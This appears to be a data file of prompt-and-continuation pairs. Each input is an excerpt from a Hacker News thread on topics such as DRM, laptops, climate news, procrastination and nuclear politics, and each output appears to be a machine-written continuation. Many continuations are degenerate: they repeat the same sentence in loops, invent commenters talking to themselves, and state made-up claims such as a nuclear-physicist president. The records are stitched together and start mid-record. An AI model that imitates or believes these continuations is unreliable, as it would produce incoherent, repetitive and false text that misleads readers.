24/7 support may be that instead of applying\na patch you get to nuke everything from orbit and rebuild from backups.\n\n~~~\nroot_axis\nSure, but just because the company didn't want to shell out the dough for 24/7\nsupport doesn't mean that the employees should necessarily take it upon\nthemselves to work during their off time.\n\n~~~\nPeterisP\nIt probably comes down to the environment for other work. If the company will\n\"pay the price\" then that's okay, but if _you_ will \"pay the price\" i.e. if a\nneed to nuke everything from orbit and rebuild from backup will simply result\nin"} +{"output_text": "narrow, and curvy streets, and I've never seen a single car hit a brick wall\nin the entire time I've lived here.\n\n~~~\nwmorein\nI've seen a few cars hit brick walls in the area, but I've never seen a brick\nwall hit a car.\n\n------\njedberg\nI've seen this in the past. It's a common feature of old buildings in the\nmiddle of nowhere.\n\n------\nj", "input_text": "Split rail fences are sort of similar\n\n[https://en.wikipedia.org/wiki/Split-\nrail_fence](https://en.wikipedia.org/wiki/Split-rail_fence)\n\n------\nbitslayer\nIn modern standards a straight wall is much easier to build because you can\njust measure once for each row and stretch a string to match the bricks\nagainst. A curved wall requires a level placed against every brick to make\nsure you are still going straight up. I expect older walls actually trusted\nthe mason's skill without going through all that. The Wiki photo certainly\nlooks true.\n\n~~~\nMagnumOpus\n> In modern standards\n\nEven in ancient times masons had pieces of strings and plumb-bobs to level\nvertically and horizontally.\n\nThe more likely constraint is that before the 20th century the farmer couldn't\nafford masons to lay orchard walls, but did it himself...\n\n------\nwmorein\nThere is one of these in Cambridge MA (or was until recently when someone\ncrashed their SUV through it):\n[https://boston.cbslocal.com/2019/05/15/cambridge-mass-car-\ncr...](https://boston.cbslocal.com/2019/05/15/cambridge-mass-car-crash-brick-\nwall-brattle-street-fresh-pond-parkway/)\n\n~~~\nSamBam\nI had seen the results of that accident, but was amazed by the video at all\nthe people saying that the area is a magnet for such accidents, and that the\nbrick wall itself had been hit many times.\n\nI mostly walk and bike in the city, but that whole neighborhood has wide,\n"} +{"output_text": "smallest events are not necessarily the most\ninteresting. The other is that the climate is changing, and that is a\nfundamental change in the weather.\n\n~~~\nhackuser\n> Climate change is real?\n\nYes, it is.\n\n> The story is now \"This week in Apocolpyse Forecasting.\"\n\nI don't think that's the story. I think it's the fact that the temperature\nrecord was broken, and that's a", "input_text": " importantly, new solar is cheaper than new coal plants, even in\nIndia.\n\nAnd as far as countries like Nigeria, I propose that the developed world\nbegins to enact sanctions against reckless polluters to incentivize social\nnation state behavior.\n\nI think that we will find, just as transnational oil companies have found,\nthat the governments of countries like Nigeria are easily swayed by outside\nmoney.\n\nAnd this idea that controlling carbon will slow economic growth is ludicrous.\n\nWhat do you think having NYC and Miami flooded will do to growth? What about\n100 million refugees from Bangladesh. Look at the problem of Syrian refugees\nfor Europe.\n\nWe did one thing right, and we got solar pv cheap just in the nick of time.\n\n------\nhackuser\nCoverage in The Guardian as well:\n\n[http://www.theguardian.com/environment/2016/apr/15/march-\ntem...](http://www.theguardian.com/environment/2016/apr/15/march-temperature-\nsmashes-100-year-global-record)\n\nIt's very disappointing this isn't a major story (outside the remaining\nclimate denial outlets, such as Fox/Murdoch/WSJ). I don't recall seeing it\ncovered in the NY Times, for example. Perhaps I overlooked it, but it should\nhave been a big enough story that overlooking it was very unlikely.\n\n~~~\nChuckMcM\nWhat would be the story? Climate change is real? I think that is pretty well\nunderstood by most of the NY Times readers. The story is now \"This week in\nApocolpyse Forecasting.\" Two things make this challenging, one is that the\nhighest/lowest/largest/"} +{"output_text": " to ask.\n\n~~~\njessaustin\n_I say screw most DRM and I dont recognize IP law._\n\nI'm not sure what you mean by \"most DRM\", but I'm pretty sure that the\ncopyright holders have no right to prevent you from copying their works.\n\n~~~\ndigler999\nI mean the DRM that is on the content.\n\nI dont think the copyright holders have any right to prevent me from copying\ntheir works.\n\n", "input_text": " etc into a\nsingle coherent interface - even terminal commands like configuring firewall,\nnetwork interfaces, user permissions, all that stuff.\n\nTo give you some examples it takes two clicks, a domain and any contrived\nemail address to get a Let's Encrypt certificate. It takes three more clicks\nto assign it to a web app Synology is serving from that device. You can add\nSSL to your own reverse-proxied app, also effortless to add, just as easily\nand enable HSTS with a checkbox.\n\nTheir torrent software can watch RSS feeds and download straight into a folder\nwhere it's indexed for their video server. Their video client provides a nice\ninterface for browsing but delegates the actual playback to VLC.\n\n------\ndigler999\nOn their website is a banner: \"Cancel netflix!\". I click on it, and I'm told I\nshould cancel netflix because they put DRM on their HTML5 delivery of movies.\n\nNow look, Im a self-professed pirate. I say screw most DRM and I dont\nrecognize IP law. However, I totally disagree that I should \"cancel netflix\".\nWhat are they supposed to do? Deliver all their movies DRM-free and see them\nimmediately get copied to torrent sites? Or else, what, not use HTML5 and\nrequire STB/smart tv support to use their product (which ALL have DRM, btw )?\n\nNetflix is the _good guy_, they are pioneers in electronic content delivery.\nThey are fighting to break the monopoly of the movie industry while having to\nwork _with_ them to get content. And they are producing their own content. All\nfor a very reasonable rate.\n\nI will absolutely NOT cancel netflix because they support DRM. What a\nridiculous thing"} +{"output_text": "?\n\n~~~\nmytailorisrich\nI don't know about mainland China but in Hong Kong people are very happy with\nthe protests.\n\n~~~\nthinkingkong\nI'm not sure if that's because they're happy with the protests or because\nthey're happy with the government's response.\n\n~~~\nmytailorisrich\nI think it's because they're happy with the government's response.\n\n------\nmytailoris", "input_text": " and much more about the political state of\naffairs that a company appears more forward-looking than most other\ninstitutions. It's quite sad really.\n\n \nI don\u2019t need The Onion, I have China Daily - guyhance\nhttps://www.guyhance.com/2019/06/i-dont-need-the-onion-i-have-china-daily/\n======\nVanPossum\nSince we're on the topic of underhanded media manipulation, I'll just leave\nthis here:\n\nI saw this entry skyrocket its way to position #2 on the front page, and\nwithin minutes, despite have 130+ upvotes and 30+ comments within 1 hour it is\nnow suddenly 11 pages down, at position 340 (as of this post). As you can see\nthis submission does not have any remark from mods and is not marked\n\"[Flagged]\" or anything...\n\n~~~\nradcon\nHN is no different from every other internet forum: Heavily moderated with\nvery little transparency -- the perfect recipe for filter bubbles and\ngroupthink.\n\nThe moderators can even apply permanent penalties to individual users (your\ncomments will sink to the bottom where few will see them) without notice or\njustification. It's sort of like a shadow-ban but your comments are still\nvisible.\n\n------\nShivetya\nSo a modern day Baghdad Bob?\n\nFor those laughing, just remember this when a politician comes forward and\nwants to protect you from fake news. It can happen anywhere, it just does not\nneed to happen all at once for it to come into being.\n\n------\nthinkingkong\nThis is wild. Does anyone have a sense of what people in areas of mainland\nChina think about the protests"} +{"output_text": "pro-x-\ntutori...](https://www.macprovideo.com/tutorial/final-cut-pro-x-tutorial-\ntutorial-1-introduction-to-the-lightbar-and-fn-keyboard-on-macbook-pros/)\n\n~~~\nmightykan\nThanks for the link. I'll check it out.\n\n------\njordanthoms\nI've been using a MacBook Pro for the", "input_text": " a few years ago.\n\nAt the time Dell only shipped the EU versions in 8 GB variants. I'm in the\nmarket for a new 13 or 14 inch machine and am split on a new MBP, Thinkpad or\nXPS 13.\n\nApple seem to have the best offering in terms of what causes me the least\namount of annoyances with hardware/OS integration but don't offer a 32GB\nlaptop. I also would prefer to run Linux natively. It's a tough decision given\nthe ~2,000 GBP cost.\n\nEdit: a couple of replies mention not liking the touchbar or keyboard in the\nnew MBP line-up. I used a touchbar 13\" model daily for ~6 months at my last\nfull time and after a weeks usage grew to like the keyboard and love the\ntouchpad. The touchbar was.. meh, even with BetterTouchTool to map my IDE\nshortcuts. Apple need to add haptic feedback to the touchbar IMO but I didn't\nfind the lack of physical keys too hurtful to my workflow.\n\n~~~\njordanthoms\nThe latest generation of MBPs has a 32GB option.\n\n~~~\nmightykan\nAnd a toy light bar whose brightness and duration cannot be controlled (which\nsucks precious battery life) and is an insult to the \"Pro\" name. Are there any\nserious options available?\n\n~~~\ntimrichard\nYou might see it as a toy if it's just an annoying way to trigger fn\nkeystrokes.\n\nBut for people who use applications like Final Cut Pro X, you can actually do\na lot with it.\n\nHere's a course on it, for example :\n\n[https://www.macprovideo.com/tutorial/final-cut-"} +{"output_text": "\n\n------\njrockway\nI don't understand why Google would want to pay for this. They already have\nthe fastest connection in the world.\n\n~~~\njrockway\nI guess they don't want to pay for the fastest connection in the world.\n\n~~~\njrockway\nI guess they don't want to pay for the fastest connection in the world.\n\n------\njrockway\nI don't understand why Google would want to pay for this", "input_text": "'s peering arrangements are set up but I doubt that\nthis is the only transit arrangement Google has ever ended up in.\n\n[1] \n\n~~~\npowertower\nMy thoughts exactly at first.\n\nThere is something nonsensical about this whole matter (as reported by the\nblogs) that triggers a flag for me.\n\nMore info -\n\n(tl;dr; the _peering_ traffic between Cogent and Orange are too imbalanced;\nCogent handles Google's traffic)\n\nIn this case, the US telecommunications operator Cogent claimed, among other\nthings, that France T\u00e9l\u00e9com was compromising the peering system (enabling\nexchange of traffic flows between networks, free of charge) used by transit\noperators, by requesting payment for opening up additional technical capacity\nfor access to Orange subscribers. Regarding this claim, the Autorit\u00e9\nconsidered that in view of the _highly asymmetric nature of the traffic\nexchanged between France T\u00e9l\u00e9com and Cogent, such a payment request does not\nin itself constitute an anti-competitive practice inasmuch as this type of\nremuneration is not uncommon in the Internet industry in cases where a\nsignificant imbalance exists between the incoming and outgoing flows exchanged\nbetween two networks_, and is consistent with the overall peering policy\nadopted by France T\u00e9l\u00e9com, with which Cogent is familiar.\n\nHowever, the Autorit\u00e9 also noted a certain lack of transparency in the\nrelationship between the domestic network of France T\u00e9l\u00e9com (Orange) and its\ntransit operator business (Open Transit), creating a potential for margin\nsqueezes. France T\u00e9l\u00e9com agreed to make commitments to prevent such situations\nand enable appropriate monitoring."} +{"output_text": "a good thing.\n\n~~~\nanexprogrammer\n> There are many reasons why some individual might want to know private things\n> about some other individual.\n\nI'm not sure I agree. I think the point is that the government can't know\neverything about everyone.\n\n> When individuals with some tiny (or vast) power want to wield it over\n> _anyone else_, especially when they can do it with little oversight, it's\n> very tempting", "input_text": " want to keep private.\n\n~~~\nnathancahill\nWhy would you be concerned about the FBI or the NSA knowing about the content\nof your digital communiques if you have nothing to hide? Even the most ardent\nsupporter of personal freedoms will admit that the government observing you\nover a network is the same as taking pictures of you with a telephoto lens on\na busy street. The truth is the same: there are too many people and you aren't\nspecial enough to deserve personal surveillance.\n\n~~~\nanexprogrammer\n> there are too many people\n\nOh _please._ They can probably harvest the lot. It'll be some algorithm that\ndeems you worthy or otherwise or gets you on an \"of interest\" list. Let's keep\n\"personal surveillance\" for '50s spy movies and Banksy murals.\n\nMore generally, what about the chilling effect on legal and legitimate\nconversation?\n\n~~~\njeremysmyth\n_It 'll be some algorithm that deems you worthy or otherwise or gets you on an\n\"of interest\" list._\n\n...or your association with \"Occupy\" or some other political protest movement\nthat someone in power disagrees with, or that your wife bullied some\npolitician's wife for two weeks in school, or that your interfering neighbour\nwith a petty dislike of how you landscape your garden works as a government\nclerk and can access your data.\n\nThere are many reasons why some individual might want to know private things\nabout some other individual. When individuals with some tiny (or vast) power\nwant to wield it over _anyone else_, especially when they can do it with\nlittle oversight, it's very tempting.\n\nThat \"the government\" has access to my private information does not mean it's\n"} +{"output_text": "~~~\njstanley\nI don't think it's a cryptocurrency. It's a distributed database.\n\n~~~\nRexRollman\nI know what it is. I was just pointing out that it serves a purpose aside from\nfilling up HN's article listing.\n\n~~~\njstanley\nI don't think it serves a purpose aside from filling up HN's article listing.\n\n~~~\nRexRollman\nI was just pointing out that it serves a purpose", "input_text": " opinion should carry a\nlot of weight with anyone serious about extending it.\"\n\n[https://en.bitcoin.it/wiki/Alternative_chain](https://en.bitcoin.it/wiki/Alternative_chain)\n\nI realize that is close to being useless, but I can't find the direct post in\nquestion by Satoshi that it is referencing. I seem to recall it not being\nSatoshi, however, but one of the current devs that I read a similar sentiment\nfrom.\n\nBut again, I don't have any direct links. I apologize.\n\n------\nkushti\nI'm interesting in developing services on top of Namecoin / other p2p more-\nthan-currencies (MasterCoin/Ethereum?). Please mail me (kushtech [at] yahoo\n(dot) com) if you want to discuss related things or join me. I'm\nScala/Java/etc developer myself / entrepreneur also in past and future.\n\n~~~\niterationx\nYou might be interested in learning about Twister, decentralized microblogging\n(twitter) [http://twister.net.co/](http://twister.net.co/)\n\n~~~\nthisiswrong\nI can't believe how potentially disruptive Twister is! Haha and I love its\nsystem of mining for promoted tweets.\n\nAs I have always said, bitcoin (the invention) means the end of FB, Twitter,\nand all similar centralized corporate entities.\n\n------\nmm0\nkeep pumping it op\n\n------\nRexRollman\n\"Namecoin is a cryptocurrency which also acts as an alternative, decentralized\nDNS\"\n\nSo, finally, a cryptocurrency which serves a purpose aside from filling up\nHN's article listing. Cool.\n\n"} +{"output_text": " enough\nprocessing power to run the Arduino IDE, and the Arduino IDE is not a\ndevelopment environment.\n\nSo, the Arduino IDE is a peripheral extension of the laptop/desktop, and the\nArduino is a peripheral extension of the laptop/desktop.\n\n~~~\njoezydeco\nI'm not sure I agree with this. The Arduino IDE is a development environment\nfor the Arduino. It's a very powerful tool for developing embedded systems.", "input_text": " and do exactly what you described, yet don't have\nwide adoption at all.\n\n~~~\nwiredfool\nThey've been around forever, and I dismissed them back in the internet dark\nages because they only had crappy windows software and their obnoxious\nintrusive ads seemed to be all about \"security\" cameras pointing at scantily\nclad women.\n\n/me realizes that I've just dated myself here.\n\n------\nstephengillie\nInteresting -- this is basically the merger of an Arduino Leonardo and a\npocket router. The flavor of Linux in use is a spinoff from OpenWRT, a popular\nhome router OS. The chip that runs on is the Atheros AR9331. Since OpenWRT\nsupports other languages, you can now program this device in Python.\n\nAR9331 pinout: \n\n~~~\nzdw\nAgreed. The Atheros chips tend to be much better supported - you actually get\nnon-binary blob wireless drivers, which is a big problem with Broadcom-based\ndevices like the venerable Linksys WRT54G and similar.\n\nOpenWRT is quite nice, and ships with a Lua based web interface, which is\nideal for a low memory/CPU device like a router.\n\n------\ndiydsp\nEmbedded hardware developer/DSP programmer here: An interesting turn in the\nlife of the Arduino turned out to be that people used it not so much as an\nembedded processor, but as a peripheral extension of their laptops and\ndesktops.\n\nLaptops and desktops (with some exceptions...) simply don't have"} +{"output_text": " I'm attacking rich people or white people. I'm saying that\nthere's a lot of truth to the idea that the labor pool is shrinking because\nmore people are put in prison over nothing (while white rich people continue\nto get away with almost anything).\n\n~~~\nAlexB138\nI'm not sure what you mean by \"over nothing\".\n\n~~~\ngeofft\nI mean that the people who are in prison for non-violent crimes are mostly\npeople of", "input_text": " for employment with municipal fire department (mandatory for\n> felonies/crimes involving moral turpitude)\n\n> Any felony; Crime of moral turpitude; Crimes involving fraud, dishonesty,\n> misrepresentation or money-laundering\n\nor:\n\n> Ineligible for employment in the police or fire department\n> (second/third/fourth class cities)\n\n> Any felony; Any misdemeanor\n\nIs that a reasonable restriction?\n\nI am of the understanding that these restrictions are in place so that others\ncan't can't compromise the integrity of one working in that office. Having\ngambling debts is something that allows people to blackmail or otherwise\ninfluence a person.\n\nLooking through that, are there any that are particularly \"why is this even\nthere?\" that you can point out that fall in the mandatory/automatic for\nconsequence type?\n\n------\nmtgx\nAlso labor pool is shrinking because more people are put in prison over\nnothing (while white rich people continue to get away with almost anything).\n\n~~~\nrainbowmverse\nThe phrasing on the latter half seems likely to cause a big mess of an\nargument, despite its statistical accuracy. Is there a better way to put it?\n\n~~~\ngeofft\nI would hope that this forum understands the importance of not censoring\ntruths that are politically incorrect....\n\n~~~\nAlexB138\nI may be misunderstanding you, but politically attacking rich people and white\npeople are some of the most popular things going right now, especially among\nthe demographic common around HN. It's almost the opposite of politically\nincorrect.\n\nNot saying all complaints are unfounded, but it's far from politically\nincorrect in many groups.\n\n~~~\ngeofft\nI don't think"} +{"output_text": " jobs.\n\n3\\. It's a good place to meet people.\n\n4\\. It's a good place to learn.\n\n5\\. It's a good place to get a good education.\n\n6\\. It's a good place to get a good job.\n\n7\\. It's a good place to get a good life.\n\n8\\. It's a good place to get a good life.\n\n9\\. It's a good place to get a good", "input_text": "ldelancey\nSubscribe to newsletters from Udemy, StackSkills, Stone River Academy, and the\nBGR Store. They often have specials where you can get a whole bundle of online\ncourses AND there are several that have a project that you complete and can\nadd to your portfolio. They've had deals where you can pick up 10+ courses for\n$20. I also echo the recommendation to go through the MIT or Stanford courses.\nCheck out edX for many of those. As someone else said, it really never has\nbeen better. I even attended a free CSS3 tricks class from Noble Desktop\nearlier in the week. It was a gift for being a subscriber to their newsletter.\nIt was live and they created a GoToMeeting for me and the instructor took my\nquestions and paid me plenty of attention. Great free two hours of my time!\n\nGood luck, you CAN do it!\n\n------\npartisan\nI'll do what I can to help you if you are serious about learning. Email me at\npartisanyc at gmail.\n\n------\ncrispytx\nYou can download all the programming books you'll ever need for free with\nbittorrent. Its like Frank Zappa once said, \"If you want to get laid, go to\ncollege. If you want an education, go to the library.\"\n\n------\nlumberjack\nIf I were in your situation, I'd get an entry level job in an unrelated field,\nget a loan and go to college part time.\n\nThere's lots of reasons why you'd want to go to college:\n\n1\\. You want to future proof yourself against ageism. It's much harder without\na degree.\n\n2\\. It's a really good place to find entry level"} +{"output_text": ", and that's okay.\n\n------\njasonkester\nI've been working on this problem for a while now.\n\nI've found that the best way to fight procrastination is to make it a\ncompetitive sport.\n\nI've found that the best way to do that is to make it a game.\n\nI've found that the best way to make that game is to make it a game of\nprogramming.\n\nI've found that", "input_text": "on and focus on just a few tasks at a time while\nothers prefer to be a manager for many people, so you don't go as deep\nyourself, but get to have a hand in everything)\n\n\\- What other things can motivate you about your daily work or work\nenvironment? (e.g. a good cafeteria, short commute, flexible hours, etc.)\n\nThe balance of how important each of these aspects are vary from person to\nperson, and for a person over time. For example I was working at a game engine\ncompany and while I loved the vision (that I could help thousands of creative\npeople turn their ideas onto reality) and the colleagues (places with great\nvisions tend to attract really cool people) and while it was initially a fun\nchallenge to get the hang of C++, I eventually got tired of the cruft of a\nlegacy codebase, and probably most importantly, I felt like I was wasting my\nmost productive years realizing someone else's dream instead of building up a\ncompany of my own, like I'd been dreaming of. I was lucky enough to find a co-\nfounder just at the right time, because I also know about myself that I tend\nto get demotivated if I'm not interacting with other people daily.\n\nAnyways, the point is, 'fighting down' procrastination is a necessary skill\nsometimes, but sometimes you also just have to listen to what your\nsubconscious is telling you about what motivates you and find something that\ndoes. It's important every once in a while to look at both if you're going\nsomewhere you want to go, and if the path that you're taking there is one you\ncare to walk on. There's no shame in realizing that something that used to\nmotivate you doesn't anymore"} +{"output_text": " done is\nalways a struggle.\n\n------\nmatt_the_bass\nI\u2019ve been working on this for a while. I\u2019ve found that I can\u2019t get started\nuntil I\u2019ve had a good night sleep. I\u2019ve found that I can\u2019t get started until I\nhave a good night sleep.\n\nI\u2019ve found that I can\u2019t get started until I\u2019ve had a good night sleep.\n\nI\u2019ve", "input_text": " time as a remote software developer, and what helped me in\nrecent years was to focus on developing self-discipline, which is what pushes\nyou forward in the long term. And yes, self-discipline can be seen as a\ntrainable skill.\n\nI started by forcing myself to wake early and take a cold bath every week day.\nI've found that this habit helps me develop a work routine in the first\nmorning hours. Even without having great productivity, I've found this greatly\nreduces the bad feeling you get from procrastination.\n\nAlmost a year ago, I started forcing myself to do something I used hate (but\nhealthy, especially for someone that sits for most of the day): going to the\ngym and lifting weights 3 times a week. As the time passed, this became an\nhabit which has an amazing impact on my work productivity. This may be because\nI'm following a program where I constantly try to increase the weights, giving\na feeling of progress I don't usually get from daily work (Currently lifting\nabout 4x weight more than when I started). It might not work for you, but this\nis what I'm doing, in case you are interested:\n[https://stronglifts.com/](https://stronglifts.com/)\n\n~~~\nwhilestanding\nCold shower after waking up early sounds like a great way to start the morning\nand improve discipline. I think I'll attempt starting this plus adding a short\nrun after the shower. I'm sure I'll be able to conquer the day easier after\nbreaking through that early resistance. I agree that my self-discipline\ntrainable and improving it is the best solution in the long run. There are a\nlot of things that I need to do but don't want to do, getting that"} +{"output_text": " been using that for a while. It's a bit of a pain to get working on\nDebian, but it's a great tool.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\ndang\nIt's a good question. I don't know either.\n\n~~~\njwilk\nIt's a good question, but it's not a good answer.\n\n~~~\ndang\nI don't", "input_text": "\nIt is not the _only_ sane thing to do.\n\nkevent() is another way to handle signals. It puts handling them into the\nprogram's main event loop, which is done synchronously with normal event-\ndispatching mechanisms and so does not have worries about asynchronous signal\nsafety, because with kevent() they are just another type of filter.\n\n~~~\nslrz\nSure, if you're going to use non-portable constructs, there're better\nalternatives to the self-pipe thing. Linux has something roughly similar with\nsignalfd.\n\nThe nice thing about the write-a-byte-to-the-pipe thing is that it works\nvirtually everywhere.\n\n------\npeoplewindow\nFrom the beep readme:\n\n _By default beep is not installed with the suid bit set, because that would\njust be zany. On the other hand, if you do make it suid root, all your\nproblems with beep bailing on ioctl calls will magically vanish, which is\npleasant, and the only reason not to is that any suid program is a potential\nsecurity hole. Conveniently, beep is very short, so auditing it is pretty\nstraightforward._\n\n[https://github.com/johnath/beep](https://github.com/johnath/beep)\n\n~~~\nexikyut\nAnd all this time I've read that and thought \"well at least you're putting it\nout there, just in case - almost for the sake of it\"\n\nHeh\n\n------\nakrasuski1\nAlso see [https://holeybeep.ninja/](https://holeybeep.ninja/)\n\n~~~\nvoltagex_\nI've"} +{"output_text": " party tools to build your app. The ecosystem is still young and the documentation is not as good as other options.

I'm not sure if I'm missing something. What do you think?\n======\nmattbgates\nI would choose Go. I've been using it for a few years now and it's been\namazing. I've built a few projects in Go and it's been a great experience.\n\nI've been", "input_text": "\nAsk HN: What tech stack would you choose to bootstrap a side project in 2020? - yagodragon\nI'm a college student trying to choose a language/framework to build some side projects. Other than the classic CS languages(java,python,c/c++), I've learned some JS and Vue.js and now I'm looking into a proper backend language and framework.

After searching online and asking friends I've gathered some feedback on the most popular solutions.

Rails: Proven and mature. 3rd party gems that can help you with anything web-related. The ecosystem is thriving and most developers are happy using it.

Laravel: Made PHP cool again. Took lessons from Rails and probably provides the best Developer Experience when it comes to building a monolith app from development to deployment. PHP is also the most popular backend language.

Django: People love python. I hear that Django Rest Framework is a great tool, plus, the ability to add ml features on your existing app is a big plus.

Node.js: Full-stack Javascript is great but the backend landscape is a mess. Probably a thin backend without complex rails-like structure.

Phoenix/Go/Rust: Good options for specific use cases where performance matters.

Java/C#: Complex and enterprisey. C# is gaining traction but the 3rd party ecosystem is still lacking behind other options.

Backendless: SPAs, Next.js/Nuxt.js/Ember, JAMstack. Use services like Firebase/Auth0 and 3rd"} +{"output_text": "\nwater supply.\n\n~~~\njrockway\n_I can't bring the Tsunami victims back alive. What could I possibly learn\nfrom the Tsunami story? That it could be dangerous to live too close to the\nsea, that's about it._\n\nI think you're missing the point. The point is that the media is making it\neasy to imagine all sorts of horrible things happening due to invisible killer\nradiation. A few bad things probably will happen.", "input_text": " to see risks. The\ndeath of one person is a tragedy, the death of a million is a statistic. So\nthe death of tens of thousands due to the tsunami will never register the same\nemotional impact as the picture of one deformed child from Chernobyl.\n\nIt's the same in startup marketing, incidentally. That's why they give people\ntestimonials (stories), help them imagine the benefits, etc. This is sort of\nthe opposite: the media is making it easy to imagine all sorts of horrible\nthings happening due to invisible killer radiation. A few bad things probably\nwill happen. Oh yeah, tens of thousands of people were also buried under a 12m\nwall of water that crushed entire towns, but there's nothing new to say about\nthat.\n\n~~~\nTichy\nWhere I live it is a lot more rational to be worried about radiation than\nabout Tsunamis.\n\nI can't bring the Tsunami victims back alive. What could I possibly learn from\nthe Tsunami story? That it could be dangerous to live too close to the sea,\nthat's about it.\n\nIt's not my fault if the media tries to milk Fukushima for all it's worth\n(they live on fear). Still, the kind of answer you give doesn't help much. If\nthe radiation is just banana level, why do the workers there wear protection\nsuits? I didn't follow the stories too closely, so I suppose you refer to some\nmeasurement somewhere that made it into the news. That's a complete strawman.\n\nWhat I heard is that radiation levels were rising in Tokyo's water supply, but\nnot enough to be dangerous. Still I would consider it newsworthy that an\naccident 200km away that does not seem to be 100% under control affects the"} +{"output_text": ".\n\n~~~\napi\nI'm not sure what you mean by \"functional jet engines\".\n\nThe US has been building jet engines for decades. The US has been building\nturbines for decades. The US has been building materials for decades.\n\nThe US has been building cars for decades. The US has been building\nelectronics for decades. The US has been building chips for decades. The US\nhas been building medical devices for decades. The US has been building", "input_text": " into a single clearly dysfunctional\ncompany)\n\n~~~\ngreedo\nUS manufacturing has been growing steadily for decades. The US concentrates\nthis in sectors that are high tech, expensive, and profitable. Low margin, low\nprofit manufacturing has been offshored, but manufacturing hasn't been\nstagnant at all.\n\nAs a percentage of GDP, manufacturing has been on a downward trend, but that's\nbecause of the growth of service industry.\n\n[https://www.macrotrends.net/countries/USA/united-\nstates/manu...](https://www.macrotrends.net/countries/USA/united-\nstates/manufacturing-output)\n\n~~~\napi\nGenuinely curious then: where do we actually excel?\n\nThe only examples I can think of right now where we are genuinely number one\nis high priced low volume boutique aerospace (SpaceX and other new space\ncompanies, satellites, experimental military aircraft, electric planes, etc.)\nand of course weapons.\n\nWe can manufacture decent cars, but at least half of this is under the\ndirection and management of overseas companies like Toyota and Nissan. US car\ncompanies have been on the ropes for decades.\n\nWe seem to be losing the bulk of aerospace, generation turbines, electronics,\nchips, medical devices, power equipment, materials,...?\n\nSeeing graphs like this makes me wonder if I am living in the late days of the\nUSSR when I'm sure many optimistic graphs were published by Pravda.\n\n~~~\nmardifoufs\nWhat? Turbines? Materials? Only the US and Europe can actually build\nfunctional jet engines and most of the bleeding edge materials. Even semi\nfunctional jet engines are still a distant dream for China"} +{"output_text": " and engineering challenges\nof building a nuclear weapon.\n\n~~~\nbloak\nI'm not sure what you mean by 'completely incompetent'. The current government\nis not incompetent, and the current president is a nuclear physicist.\n\n~~~\nneuro_imager\nThe current government is incompetent, and the current president is a\npolitician.\n\n------\nm0zg\nI'm not sure how this is going to play out. I think the US is going to have", "input_text": ". Kim doesn't want to hang from a lamp\npost, and neither do his henchmen. So Kim sued for peace.\n\n~~~\nloxs\nSo we are nominating him for some of the next years' peace Nobel prizes? That\nwould be a fun sight :D\n\n~~~\ncryptonector\nPeace through strength.\n\nThat's not the kind of talk that the Nobel folks like to hear. My guess is\nthey won't give it to DJT.\n\n~~~\nmonocasa\nI mean, Kissinger got a Nobel Peace Prize.\n\n~~~\ncryptonector\nSure, it's possible it will happen.\n\n------\nonetimemanytime\nNK's Kim would be stupid to give them up, see what happened to a guy a named\nSaddam and to another named Muammar. Assad, if not for Russia would have the\nnext one.\n\nHe can slow development down in return for aid...and milk them for decades.\n\n~~~\nIIAOPSW\nI don't know why you're being downvoted. Obviously everyone wants peace but\nrealistically doing what you said is the rational thing for NK to do and there\nis tons of historical precedent. The only state to ever denuclearize and not\nregret it is South Africa.\n\n~~~\nbloak\nBut is today's South Africa the same thing as the previous South Africa which\nhad nuclear weapons? Are the people who authorised and developed South\nAfrica's nuclear weapons still living in that part of the world?\n\n~~~\nneuro_imager\nSouth Africa didn't 'denuclearise' in the sense of giving up arms.\n\nThey had a change to a completely incompetent government who wouldn't know how\nto spell 'nuclear' let alone fathom the scientific"} +{"output_text": "companies are simply buying carbon offsets to make themselves look good.\n\n~~~\njessaustin\n_My biggest issue with companies that make a big deal about being \"carbon\nneutral\" and \"carbon offsets\" is that many times it is \"voodoo accounting\" in\nwhich companies are simply buying carbon offsets to make themselves look good._\n\nI don't think that's true. I think it's more that they're buying offsets to\navoid the PR hit of being", "input_text": " a\ncompany is removing more carbon than it emits each year. While we at Microsoft\nhave worked hard to be \u201ccarbon neutral\u201d since 2012, our recent work has led us\nto conclude that this is an area where we\u2019re far better served by humility\nthan pride. And we believe this is true not only for ourselves, but for every\nbusiness and organization on the planet.\n\n>Like most carbon-neutral companies, Microsoft has achieved carbon neutrality\nprimarily by investing in offsets that primarily avoid emissions instead of\nremoving carbon that has already been emitted. That\u2019s why we\u2019re shifting our\nfocus. In short, neutral is not enough to address the world\u2019s needs.\n\n>While it is imperative that we continue to avoid emissions, and these\ninvestments remain important, we see an acute need to begin removing carbon\nfrom the atmosphere, which we believe we can help catalyze through our\ninvestments.\n\n> Solving our planet\u2019s carbon issues will require technology that does not\n> exist today. That\u2019s why a significant part of our endeavor involves putting\n> Microsoft\u2019s balance sheet to work to stimulate and accelerate the\n> development of carbon removal technology. Our new Climate Innovation Fund\n> will commit to invest $1 billion over the next four years into new\n> technologies and expand access to capital around the world to people working\n> to solve this problem. We understand that this is just a fraction of the\n> investment needed, but our hope is that it spurs more governments and\n> companies to invest in new ways as well.\n\nThis is one of the most exciting and potentially impactfull announcements. My\nbiggest issue with companies that make a big deal about being \"carbon neutral\"\nand \"carbon offsets\" is that many times it is \"voodoo accounting\" in which\n"} +{"output_text": "Through-Creative-\nBattles/dp/0679742405)\n\n------\nmatt_the_bass\nI\u2019m not sure if this is the right place to ask this, but I\u2019m curious. I\u2019m\ntrying to figure out what I want to do with my life. I\u2019m a software engineer\nand I\u2019ve been working in the industry for about 10 years. I\u2019ve been thinking\nabout going back to", "input_text": "estones. I set a schedule with milestones that\nshould help me reach goals on time. The sooner I feel behind, the sooner I\npush through my procrastination.\n\n------\njarym\nJust gonna throw my two pence into this...\n\nI've always found that if I couldn't motivate myself to do something then I\nprobably do not want to do it on some level and should be doing something\nelse.\n\nIf that could be you then one solution is to take a break from work and try\nfigure out what you'd rather be doing. You'll know because you'll feel drawn\nto it.\n\n------\nkeypress\nYou aren't alone. I'm far better at helping others than myself. Freelancing I\nfind tricky. I've had good management in the past alongside a team that knows\nhow to play to my strengths and keep down my weaknesses. So don't discount\nworking in a unit. Stroking my own ego, and trying to reward myself is useless\nfor me.\n\n------\nquadcore\nI think you've not yet found what you love. Try new things and wait until you\nthink about these naturally in the shower. You should force yourself to assume\nyou dont know who you are. It could be surprising. Maybe you should be, say, a\nhair stylist. Maybe you would dramatically love that. Finding what I love to\ndo worked for me.\n\n------\ngadders\nThe War of Art [1] has some good advice on overcoming \"resistance\", the force\nthat stops people from doing what they need to do.\n\n[1] 